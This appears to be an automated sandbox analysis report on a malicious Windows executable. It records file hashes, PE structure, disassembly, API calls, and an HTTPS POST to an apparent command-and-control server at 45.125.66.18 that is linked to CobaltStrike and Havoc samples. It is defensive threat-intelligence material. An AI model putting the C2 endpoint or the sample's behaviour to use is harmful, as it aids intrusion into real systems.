Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	V6ZsDcgx4N.exe renamed because original name is a hash value
Original Sample Name:	0a6bf0678bbd793e39a84dfb4c71d8b709d9e538288bf826c48b1ba899803ba4.exe
Detection:	MAL
Classification:	mal76.evad.winEXE@2/5@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 23 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELE-ASTeleAsiaLimitedHK	https://57365oo.cc/	Get hash	malicious	Phisher	Browse	45.125.65.213
	zte.arm7.elf	Get hash	malicious	Unknown	Browse	45.125.66.78
	Kxk45K3cAx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	NVu6VqOPCN.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	4A4hEAVRnJ.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	Y6dJm8taZO.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	2Ipy5SuBUQ.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	KgIQ7WeeC1.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	V5f33oSsOM.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72a589da586844d7f0818ce684948eea	48DhuEoTcX.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	45.125.66.18
	6863(1)2.exe	Get hash	malicious	CobaltStrike	Browse	45.125.66.18
	20240730#U7cfb#U7edf#U5f02#U5e38#U62a5#U9519.exe	Get hash	malicious	CobaltStrike	Browse	45.125.66.18
	LisectAVT_2403002B_116.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	LisectAVT_2403002B_116.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	LisectAVT_2403002B_312.dll	Get hash	malicious	Trickbot	Browse	45.125.66.18
	2new.dll.dll	Get hash	malicious	CobaltStrike	Browse	45.125.66.18
	havoc_x64.exe	Get hash	malicious	Havoc	Browse	45.125.66.18
	https.exe	Get hash	malicious	Metasploit	Browse	45.125.66.18

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_V6ZsDcgx4N.exe_2836333e52f8f518a87ecc2c9877552cc5af_48805dd8_da3f3940-4326-40c4-bebc-099506015ec4\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9220300302118073
Encrypted:	false
SSDEEP:	192:WTFSAcJGOe0sGNmajRomzuiFJZ24IO8L:WMBJGOFsGNmajtzuiFJY4IO8L
MD5:	0528FD5AC0A0E9ADF578BB8DCBDF6D2F
SHA1:	0AE162C1959118B3937E4B49000CD31BA402FF63
SHA-256:	0C6DFE52B84C1BA42C1204DC653A5A12558807BE07144A19E1B610F2DA8E0075
SHA-512:	D632BB4092933CC564CB341DC08A4905F1635B04DA989EAFF1CF30A4EBE1859728E0184F2D93AF1DA7BA862F4BB6288B2BF41E62C53B5EABF5577B99C72A8790
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.2.2.9.2.7.0.0.3.3.0.3.0.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.2.2.9.2.7.0.5.7.9.9.0.6.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.a.3.f.3.9.4.0.-.4.3.2.6.-.4.0.c.4.-.b.e.b.c.-.0.9.9.5.0.6.0.1.5.e.c.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.3.f.0.6.4.7.1.-.9.4.c.7.-.4.1.9.2.-.a.b.7.7.-.e.2.9.5.4.3.f.f.e.2.b.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.V.6.Z.s.D.c.g.x.4.N...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.9.f.c.-.0.0.0.1.-.0.0.1.4.-.b.8.d.8.-.5.a.8.d.6.e.f.8.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.4.6.f.e.a.b.9.6.5.9.d.6.7.7.f.c.d.2.a.8.5.5.5.7.b.8.3.1.9.7.3.0.0.0.0.f.f.f.f.!.0.0.0.0.9.2.f.a.5.f.8.f.3.4.6.c.b.9.8.7.f.2.4.9.b.d.4.1.7.5.5.c.5.a.e.d.a.f.4.c.8.6.4.6.!.V.6.Z.s.D.c.g.x.4.N...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE68.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Aug 27 10:47:50 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	1076012
Entropy (8bit):	2.8258286923232547
Encrypted:	false
SSDEEP:	3072:ekCnrNi7ToQqoQNvxtyTvQihxF0uGNHZvpbZbLFIWot:ekCn6mNmTvQgfQ5DbLo
MD5:	E120C73D7034082F3D53B4FF8DF9C167
SHA1:	04530E47D3D825BB5FCFCB5D63C192F47D701476
SHA-256:	9B4968E5AEF879A9B6353AE043302D7A1A2565155778CB37E4A7FAC055D62637
SHA-512:	0A10998FE375ABEF438AFFE0BFB2EF9AD5B6593F3C09B596190A1DF5821A19C94E8085C61C0A1AFE77B07B2E07FD9CBDCF864A0BF1D7EA09BECA5D43C687EEE0
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........f........................l...(.......<...............bF..........`.......8...........T...........8H..."......................................................................................................eJ......T.......GenuineIntel............T.............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAFC1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8364
Entropy (8bit):	3.7057914601540154
Encrypted:	false
SSDEEP:	192:R6l7wVeJGF6g6YEIxSUGDggmfEJjm/hVpr789bMesfkEm:R6lXJU6g6YEOSUAggmfEJjm/hkMdfu
MD5:	E326DC4FDCE9BFD26340C729CDE0C150
SHA1:	CF3C6B79D7111042B100AE13ADED66F7079569FE
SHA-256:	569ADDD92E9F43E71D7713306FB7F651B1A4343A82CF8EECD55A5D60B534D9BA
SHA-512:	D84A0187D16D8A595993D69010DCE98578F3EF84F92B9A9AF200C664D8A47E04DEAD25CD0275FE1E15E4D80FD62F3B1C8CE07855D255A0775652BD6EE8914086
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.5.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAFE1.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4635
Entropy (8bit):	4.516314900825132
Encrypted:	false
SSDEEP:	48:cvIwWl8zsrJg77aI9r/oWpW8VYCYm8M4J0RyFq+q8Me65LD1Ud:uIjfFI75/B7V+JizV1Ud
MD5:	93C3ABEA266E32F247339D33A56D86E9
SHA1:	2BA61DD3344D6E8D6574F4F00F95704E2F193920
SHA-256:	6D37F83E80CE951083C51592BE292EEBF12B2400564B49D73F184C95A2F92899
SHA-512:	73216F6620C3C2F2560347025A82128C49DCFCC76E86830DA3CA2BB217A0C1C4D7854AD34EF025939C923CF885D9B54E710A7F2E33B66A75BA42856022993755
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="473870" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421565954184726
Encrypted:	false
SSDEEP:	6144:pSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNi0uhiTw:gvloTMW+EZMM6DFyo03w
MD5:	5C5CB16DBDE73084B9CD80A3F001887C
SHA1:	9AEF0246185C6D6D5F0C2A38968539105C6AFF3F
SHA-256:	7E777A237D32B8C733165779754050734434288160D008305F0396C0482F529F
SHA-512:	4EC26FDC90DCC5DD9B02B421626A936679A66A77A457359CB1B03FB2BCE0178FDD22E9640E1EF5DBED394BD41CB151D5F9C74F4CEBA7EF39BEA024ADD3FF50D6
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm2...n................................................................................................................................................................................................................................................................................................................................................1..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.972409904582663
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	V6ZsDcgx4N.exe
File size:	38'912 bytes
MD5:	2d4e723c184d9403b078e53f2de74a23
SHA1:	92fa5f8f346cb987f249bd41755c5aedaf4c8646
SHA256:	0a6bf0678bbd793e39a84dfb4c71d8b709d9e538288bf826c48b1ba899803ba4
SHA512:	a8f5267ae7f465a65a46d6abeaed0c7a910c349e708e4264cc68747ee26db78d62b575dedb2e64553c207b914ba240654930774954dfa7503c93393cfadce9ad
SSDEEP:	768:ZCMmeyIJkkZ7XPImohfdjm7MEW/kJ7S/DWJ3GTHvvM1zI:ZCFeySkkJgl2MEW/ozwXM1
TLSH:	6F032A01E841E03AFDE151FED3F706BD8E3C2F10132518DB06E5A5A9EB556E6B83086B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................n.......................n.......n......Rich....................PE..L...PS.f...............&............0......

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x401d30
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66CC5350 [Mon Aug 26 10:05:04 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	4576a725988be81bfee6ec0cabf5e869

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000FD8h
push esi
push 0040B02Dh
push 00000000h
push 00000000h
call dword ptr [0040A01Ch]
mov dword ptr [ebp-04h], eax
cmp dword ptr [ebp-04h], 00000000h
je 00007FB030E4A73Fh
call dword ptr [0040A018h]
cmp eax, 000000B7h
jne 00007FB030E4A737h
jmp 00007FB030E4A819h
push 00000FC0h
push 00000000h
lea eax, dword ptr [ebp-00000FD8h]
push eax
call 00007FB030E4A9DEh
add esp, 0Ch
lea ecx, dword ptr [ebp-00000FD8h]
push ecx
call 00007FB030E4A64Fh
add esp, 04h
call 00007FB030E51B77h
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-24h], edx
lea edx, dword ptr [ebp-00000FD8h]
push edx
call 00007FB030E4BA55h
add esp, 04h
mov eax, 00000001h
test eax, eax
je 00007FB030E4A7ADh
mov dword ptr [ebp-18h], 00000001h
movzx ecx, byte ptr [ebp-20h]
test ecx, ecx
jne 00007FB030E4A78Eh
call 00007FB030E51B45h
mov ecx, eax
mov esi, edx
sub ecx, dword ptr [ebp-28h]
sbb esi, dword ptr [ebp-24h]
movzx eax, byte ptr [0040B06Ch]
cdq
mov dword ptr [ebp-0Ch], ecx
mov dword ptr [ebp-08h], esi
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-10h], edx
mov edx, dword ptr [ebp-08h]
cmp edx, dword ptr [ebp-10h]
jc 00007FB030E4A763h
jnbe 00007FB030E4A73Ah
mov eax, dword ptr [ebp-0Ch]
cmp eax, dword ptr [ebp-14h]
jc 00007FB030E4A759h
lea ecx, dword ptr [ebp-00000FD8h]
push ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa61c	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc000	0x258	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa504	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8380	0x8400	cb1d32db83e69601384a9f1c2e69fe55	False	0.4835464015151515	data	5.999842112550039	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xa000	0x8d2	0xa00	8dd9a61cc343c3f7536605412f999393	False	0.43828125	data	4.315759737584478	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x544	0x200	98f5f2ae72a99ac6ae2a0fb846c7af44	False	0.490234375	data	3.757947307933703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0xc000	0x258	0x400	5549773c51f762effe22df1a1b6c3181	False	0.5625	data	4.367976825968331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	OpenProcess, ExitProcess, GetLastError, CreateMutexA, Sleep, GetCurrentProcess, TerminateThread, LocalAlloc, LocalFree, GetSystemInfo, GetModuleFileNameW, GetUserDefaultUILanguage, GetFileType, CloseHandle, CreateThread, DeleteFileW
USER32.dll	GetSystemMetrics
ADVAPI32.dll	CryptSignHashA
SHELL32.dll	SHGetFolderPathW
CRYPT32.dll	CryptUpdateProtectedState
WINHTTP.dll	WinHttpTimeFromSystemTime

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 12:47:48.152389050 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:48.152448893 CEST	443	49704	45.125.66.18	192.168.2.5
Aug 27, 2024 12:47:48.152520895 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:48.157084942 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:48.157116890 CEST	443	49704	45.125.66.18	192.168.2.5
Aug 27, 2024 12:47:48.890213966 CEST	443	49704	45.125.66.18	192.168.2.5
Aug 27, 2024 12:47:48.890316963 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:48.930354118 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:48.930372953 CEST	443	49704	45.125.66.18	192.168.2.5
Aug 27, 2024 12:47:48.931442976 CEST	443	49704	45.125.66.18	192.168.2.5
Aug 27, 2024 12:47:48.974436045 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:49.633585930 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:49.633622885 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:49.633650064 CEST	443	49704	45.125.66.18	192.168.2.5
Aug 27, 2024 12:47:49.964458942 CEST	443	49704	45.125.66.18	192.168.2.5
Aug 27, 2024 12:47:49.964478970 CEST	443	49704	45.125.66.18	192.168.2.5
Aug 27, 2024 12:47:49.964572906 CEST	443	49704	45.125.66.18	192.168.2.5
Aug 27, 2024 12:47:49.964595079 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:49.964623928 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:49.967385054 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:49.967406034 CEST	443	49704	45.125.66.18	192.168.2.5
Aug 27, 2024 12:47:49.967420101 CEST	49704	443	192.168.2.5	45.125.66.18
Aug 27, 2024 12:47:49.967426062 CEST	443	49704	45.125.66.18	192.168.2.5

HTTP Request Dependency Graph

45.125.66.18

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	45.125.66.18	443	2556	C:\Users\user\Desktop\V6ZsDcgx4N.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 10:47:49 UTC	287	OUT	POST /api/receiver/recv HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.48 Content-Length: 3160 Host: 45.125.66.18
2024-08-27 10:47:49 UTC	3160	OUT	Data Raw: 00 7b 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 7d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: {a33c7340-61ca-11ee-8c18-806e6f6e6963}
2024-08-27 10:47:49 UTC	231	IN	HTTP/1.1 201 Created Server: nginx/1.18.0 Date: Tue, 27 Aug 2024 10:47:49 GMT Content-Type: application/octet-stream Content-Length: 4230 Connection: close X-Powered-By: Express ETag: W/"1086-eeEIvwQRvsIx4B3isHTXuBfT8l0"
2024-08-27 10:47:49 UTC	4230	IN	Data Raw: 01 03 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Target ID:	0
Start time:	06:47:46
Start date:	27/08/2024
Path:	C:\Users\user\Desktop\V6ZsDcgx4N.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\V6ZsDcgx4N.exe"
Imagebase:	0x190000
File size:	38'912 bytes
MD5 hash:	2D4E723C184D9403B078E53F2DE74A23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:47:49
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2556 -s 54484
Imagebase:	0x8c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	19.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.3%
Total number of Nodes:	377
Total number of Limit Nodes:	12

Executed Functions

Function 00191470 Relevance: 15.1, APIs: 10, Instructions: 137
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00191EA0: RtlAllocateHeap.NTDLL(02590000,00000008,00193D82), ref: 00191EB0

NtQuerySystemInformation.NTDLL(00000010,?,00001000,00000000), ref: 001914A9
OpenProcess.KERNEL32(00000040,00000000,?), ref: 00191523
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0019154B
DuplicateHandle.KERNELBASE(000000FF,?,00000000), ref: 00191565
GetFileType.KERNELBASE(000000FF), ref: 0019157F
CloseHandle.KERNEL32(000000FF), ref: 0019159E
GetCurrentProcess.KERNEL32(000000FF,00000000,00000000,00000001), ref: 001915AE
DuplicateHandle.KERNEL32(000000FF,?,00000000), ref: 001915C8
CloseHandle.KERNEL32(000000FF), ref: 001915DC
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 001915EF

Part of subcall function 00191EE0: RtlFreeHeap.NTDLL(02590000,00000000,00000000,009C0000), ref: 00191EFE

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: Handle$CloseProcess$CurrentDuplicateHeap$AllocateChangeFileFindFreeInformationNotificationOpenQuerySystemType
String ID:
API String ID: 2769610337-0
Opcode ID: a667840d9a4539fabcca1c960dcc61729685a7f37f919adb6953b9a06dbe3e49
Instruction ID: 0d136b9f20b68a9a394dfaa30cc83b27ff18731bf8278e1f5ee0dcf5aa73cb80
Opcode Fuzzy Hash: a667840d9a4539fabcca1c960dcc61729685a7f37f919adb6953b9a06dbe3e49
Instruction Fuzzy Hash: 355153B4D0020AFFDF14CFD8D984BAEB7B5BF48305F158259E612A7280D734AA85CB91

Function 00198D40 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 126
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00191EA0: RtlAllocateHeap.NTDLL(02590000,00000008,00193D82), ref: 00191EB0

FindFirstFileW.KERNELBASE(00000000,?), ref: 00198D83
FindNextFileW.KERNELBASE(000000FF,?), ref: 00198EB1
FindClose.KERNEL32(000000FF), ref: 00198EC3

Strings

%s\*, xrefs: 00198D67
%s\%s, xrefs: 00198E28

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: Find$File$AllocateCloseFirstHeapNext
String ID: %s\%s$%s\*
API String ID: 2963102669-2848263008
Opcode ID: 50f429fd5c00bef8b35697c12d38414090c3928e8657d90d2d7982637db81069
